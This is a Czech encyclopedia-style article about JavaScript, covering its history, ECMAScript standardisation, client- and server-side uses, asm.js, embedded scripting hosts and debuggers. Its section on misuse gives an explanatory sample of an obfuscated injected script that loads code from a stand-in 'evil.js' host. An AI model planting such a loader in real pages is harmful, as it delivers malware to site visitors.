JavaScript
Paradigma | objektový, funkcionální, událostmi řízený |
---|---|
Vznik | 1995 |
Autor | Brendan Eich |
Vývojář | Netscape Communications Corporation, Mozilla Foundation |
Poslední verze | ECMAScript 2018[1] (červen 2018) |
Typová kontrola | dynamická, duck-typing |
Hlavní implementace | KJS, Rhino, SpiderMonkey, V8, Chakra |
Ovlivněn jazyky | Java, Self, C, Scheme |
Ovlivnil jazyky | ActionScript, CoffeeScript, Dart, JScript .NET, Objective-J, QML, TypeScript, Node.js, LiveScript |
JavaScript je multiplatformní, objektově orientovaný, událostmi řízený skriptovací jazyk, jehož autorem je Brendan Eich z někdejší společnosti Netscape. Jeho syntaxe (zápis zdrojového textu) patří do rodiny jazyků C/C++/Java, ale JavaScript je od těchto jazyků zásadně odlišný sémanticky (funkčně, pricipiálně), jde o jiný jazyk. Slovo Java je součástí jeho názvu pouze z marketingových důvodů. JavaScript byl v červenci 1997 standardizován asociací ECMA (European Computer Manufacturers Association) a v srpnu 1998 ISO (International Organization for Standardization). Standardizovaná verze JavaScriptu je pojmenována ECMAScript a z ní byly odvozeny i další implementace, jako je například ActionScript. JavaScript byl původně obchodní název implementace společnosti Netscape, kde byl vyvíjen nejprve pod názvem Mocha, později LiveScript, ohlášen byl společně se společností Sun Microsystems v prosinci 1995 jako doplněk k jazykům HTML a Java. Pro verzi firmy Microsoft je použit název JScript. Ten je podporován platformou .NET. Jeho nejčastější použití v současnosti zahrnují:
- Webové stránky, do kterých je často vkládaný přímo jako součást HTML kódu stránky. Interpretaci v tomto případě provádí webový prohlížeč návštěvníka stránky. Jsou jím obvykle ovládány různé interaktivní prvky GUI (tlačítka, textová políčka) nebo tvořeny animace a efekty obrázků. Prakticky to znamená, že se program v JavaScriptu obvykle spouští až po stažení webové stránky z Internetu (tzv. na straně klienta), na rozdíl od ostatních jiných interpretovaných programovacích jazyků (např. PHP a ASP), které se spouštějí na straně serveru ještě před stažením z Internetu. Z toho plynou jistá bezpečností omezení – v prohlížeči spouštěný JavaScript např. nemůže pracovat se soubory, aby tím neohrozil soukromí uživatele.
- JavaScript se využívá i na straně serveru. První implementací JavaScriptu na straně serveru byl LiveWire firmy Netscape vypuštěný roku 1996. Dnes existuje několik možností včetně opensource implementace Rhinola založené na Rhino, gcj, Node.js, Deno a Apache. Událostmi řízená architektura je dělá vhodnými pro tvorbu serverových aplikací, které pracují v reálném čase.
- Také je možno jej spouštět v operačních systémech Windows pomocí programu Windows Script Host a nahradit tak dávkové soubory MS-DOS. Manipulaci se soubory lze například provádět za pomoci objektu FileSystemObject, který se používá i na výše zmíněných serverech.
- Kromě DHTML se JavaScript používá k psaní rozšíření pro mnohé aplikace, například Adobe Acrobat.
Rozšíření asm.js
Asm.js je podmnožina programovacího jazyka JavaScript navržená Mozillou[2], která je určena pro výrazné zrychlení běhu javascriptových aplikací, podobně jako technologie NaCl a jazyk Dart od Google. Rychlost v současné době dosahuje na hodnoty jen asi o 50 % nižší, než kód generovaný překladači[3], zejména původně napsaných pro hry z oblasti PC[4], typicky napsané v jazyce C nebo C++.
Prohlížeče, které tuto podmnožinu JavaScriptu podporují, jsou v současné době, Mozilla Firefox, Google Chrome, Opera a Microsoft Edge.[5][6][7][8]
Podpora JavaScriptu ve webových prohlížečích
Webový prohlížeč uživatele dané webové stránky může mít JavaScript explicitně vypnutý, popřípadě je na stránku přistupováno způsobem (daným kombinací daného zařízení, platformy, hardwarových nároků, nebo toho, přistupuje-li člověk či program), který JavaScript nespustí.
Podle údajů firmy Yahoo z roku 2010 je podíl stránek načtených bez spuštění JavaScriptu 1,3 % (celosvětový průměr), od 0,25 % v Brazílii po 2 % v USA.[9]
V rámci tzv. webové přístupnosti by se při vývoji webu mělo vždy dbát na správné zobrazení stránky bez ohledu na podporu skriptování na straně klienta.
Zneužívání JavaScriptu
Protože je JavaScript součástí většiny prohlížečů, existuje snaha o jeho zneužití. Aby byl škodlivý kód nesnadno zjistitelný, kromě jeho umísťování na jiné servery bývá HTML kód, který zajistí jeho načtení, maskován různými technikami. Možnými technikami je ukrytí HTML kódu zpřístupňující škodlivý JavaScript do skrytého elementu IFRAME nebo použití nečitelného kódu v samotném JavaScriptu, který HTML kód zpřístupňující škodlivý kód vygeneruje po načtení stránky.[10]
Co se týká druhé možnosti, např. kód:
<script>
try{window.onload = function() {
var Q236s4ic4454clw = document.createElement('script');
Q236s4ic4454clw.setAttribute('type', 'text/javascript');
Q236s4ic4454clw.setAttribute('id', 'myscript1');
Q236s4ic4454clw.setAttribute('src', 'h(t)!^t^))p#@:&&/(##/&$#e^$$x^@)(a&(m$^)p))#$l^e$#.!^)^o$$$&r@$g#^/$!#e#&(v((i!!l)(@.)&j((s@^^'.***);
// místo "***" má být "replace(/\(|\!|&|#|\$|\)|@|\^/ig, '')" - toto řešení je nutné z důvodu blokování načítání této stránky antivirovými programy
Q236s4ic4454clw.setAttribute('defer', 'defer');
document.body.appendChild(Q236s4ic4454clw);
}
catch(e) {}
</script>
vygeneruje HTML kód:
<script defer="defer" src="http://example.org/evil.js" id="myscript1" type="text/javascript"></script>
který vlastní škodlivý kód načte z vnější adresy mimo napadený server.[10]
Použití mimo webové stránky
Kromě webových prohlížečů a serverů je interpret JavaScriptu vestavěný v mnoha různých nástrojích. Každý z těchto nástrojů poskytuje vlastní objektový model, který poskytuje přístup k hostitelskému prostředí. Jádro JavaScriptu zůstává většinou stejné v každé aplikaci.
Vestavěný scriptovací jazyk
- Většina rozšíření pro webové prohlížeče je implementována použitím JavaScriptu, např. rozšíření Chrome, Safari, Opera atd.
- Některé NoSQL datábáze jako je MongoDB nebo CouchDB akceptují dotazy napsané v JavaScriptu.
- Acrobat and Adobe Reader podporují JavaScript v souborech typu PDF.
- Nástroje v Adobe Creative Suite, včetně Photoshop, Illustrator, Dreamweaver a InDesign umožňují skriptování pomocí JavaScriptu.
- Kancelářský balík aplikací OpenOffice umožňuje JavaScript používat jako skriptovací jazyk.
- Interaktivní zpracování signálu hudebního software Max/MSP nabízí v jeho prostředí model JavaScriptu pro použití vývojářům. To umožňuje mnohem přesnější ovládání než výchozí programovací model GUI-centric.
- Digitální software Apple Logic Pro X audio workstation umožňuje vytvořit vlastní MIDI efekty pluginy pomocí JavaScriptu.
- ECMAScript byl zahrnut v normě VRML97 pro skriptování uzlů souborů VRML.
- Herní engine Unity 3D ve starších verzích podporoval upravenou verzi JavaScriptu pro skriptování pomocí Mono.[11]
- DX Studio (3D engine) používá implementaci JavaScriptu SpiderMonkey pro hry a simulace logiky.[12]
- Maxwell Render poskytuje skriptovací engine ECMA standardu pro automatizaci úkolů.[13]
- Google Apps Script v tabulkách Google a Google Sites umožňuje uživatelům vytvářet vlastní vzorce, automatizovat opakující se úlohy a také komunikovat s ostatními produkty Google jako je Gmail.[14]
- Mnoho klientů IRC, jako je ChatZille nebo XChat, používají JavaScript pro jejich scriptovací činnosti.
- Produkty SpinetiX používají SpiderMonkey JavaScript pro scriptování v SVG souborech.
- Platformy ObjectGears, ServiceNow
Skriptovací engine
- Technologie Active Scripting od Microsoftu podporuje JavaScript jako skriptovací jazyk.[15]
- Programovací jazyk Java v 6. verzi představil balíček javax.script, který obsahuje implementaci JavaScriptového enginu Rhino. Java aplikace tak mohou hostit skripty, které přistupují k proměnným a objektům této aplikace, stejně jako webové prohlížeče, kde skripty mohou přistupovat k objektovému modelu dokumentu webové stránky.[16]
- Nástroj Qt C++ obsahuje modul QtScript, který interpretuje JavaScript stejně jako Java balíček javax.script.[17]
Vývojové nástroje
Vzhledem k tomu, že při programování pro různé webové prohlížeče mohou nastat implementační rozdíly (zvláště v objektovém modelu dokumentu), je vhodné mít přístup k debuggeru v každém webovém prohlížeči, na které je aplikace zaměřena.[18]
Debuggery jsou dostupné pro Internet Explorer, Firefox, Safari, Google Chrome, Opera a Node.js.[19][20][21]
Odkazy
Reference
- ↑ Standard ECMA-262 [online]. Ecma International, 2017-07-03. Dostupné online.
- ↑ http://asmjs.org/ Homepage (anglicky)
- ↑ JELÍNEK, Lukáš. Asm.js zrychluje. www.linuxexpres.cz [online]. linuxexpres.cz, 2013-12-23 [cit. 2018-05-18]. Dostupné online.
- ↑ URBAN, Petr. Epic Games ve spolupráci s Mozillou v prohlížeči zprovoznil Unreal Engine 4. Cnews.cz [online]. 2014-03-13 [cit. 2018-05-18]. Dostupné online.
- ↑ mbest. Chrome and Opera Optimize for Mozilla-Pioneered Asm.js. Future Releases [online]. [cit. 2018-05-18]. Dostupné online. (anglicky)
- ↑ http://www.linuxexpres.cz/novinky/asm-js-zrychluje Asm.js zrychluje (česky)
- ↑ Microsoft announces asm.js optimizations. Luke Wagner's Blog [online]. Mozilla Firefox, 2015-02-18 [cit. 2018-05-18]. Dostupné online. (anglicky)
- ↑ PFLUG, Kyle. Introducing EdgeHTML 13, our first platform update for Microsoft Edge. Microsoft Windows [online]. 2015-11-16 [cit. 2018-05-18]. Dostupné online. (anglicky)
- ↑ HEIN, Ruud. How Many Users Have JavaScript Disabled. www.searchenginepeople.com [online]. searchenginepeople.com, 2010-12-14 [cit. 2018-05-18]. Dostupné online. (anglicky)
- ↑ a b From Hidden Iframes to Obfuscated Scripts. Unmask Parasites [online]. 23 Dec 09. Dostupné online.
- ↑ Unity Scripting [online]. unity3d.com [cit. 2013-01-29]. Dostupné v archivu pořízeném dne 2015-02-28.
- ↑ Technical Specification [online]. dxstudio.com [cit. 2009-10-20]. Dostupné v archivu pořízeném dne 2010-03-25.
- ↑ THINK! The Maxwell Render Resourcer Center, Scripting References Archivováno 2. 11. 2011 na Wayback Machine.
- ↑ Google Apps Script, Welcome to Google Apps Script
- ↑ Version Information (JavaScript) [online]. Msdn.microsoft.com [cit. 2013-05-26]. Dostupné online.
- ↑ javax.script release notes [online]. Java.sun.com [cit. 2009-05-19]. Dostupné online.
- ↑ Nokia Corporation, QtScript Module Archivováno 9. 7. 2010 na Wayback Machine.
- ↑ Advanced Debugging With JavaScript [online]. alistapart.com, 2009-02-03 [cit. 2010-05-28]. Dostupné online.
- ↑ The JavaScript Debugging Console [online]. javascript.about.com, 2010-05-28 [cit. 2010-05-28]. Dostupné online.
- ↑ SplineTech JavaScript Debugger - an independent standalone JavaScript Debugger [online]. javascript-debugger.com, 2013-08-26 [cit. 2013-08-26]. Dostupné online.
- ↑ Debugging with Node Inspector [online]. http://docs.strongloop.com/ [cit. 2014-05-07]. Dostupné v archivu pořízeném dne 2014-05-08.
Související články
- AJAX – pro komunikaci iniciovanou klientem (webovou stránkou)
- WebSocket – pro obousměrnou komunikaci webové stránky se serverem (klient–server)
- jQuery UI
- JQuery Mobile
Externí odkazy
Obrázky, zvuky či videa k tématu JavaScript na Wikimedia Commons
- (anglicky) JavaScript: How Did We Get Here? – Historie vzniku jazyka
- Do hlubin implementací JavaScriptu – Seriál na Zdrojak.cz
- JakPsatWeb
- w3schools.com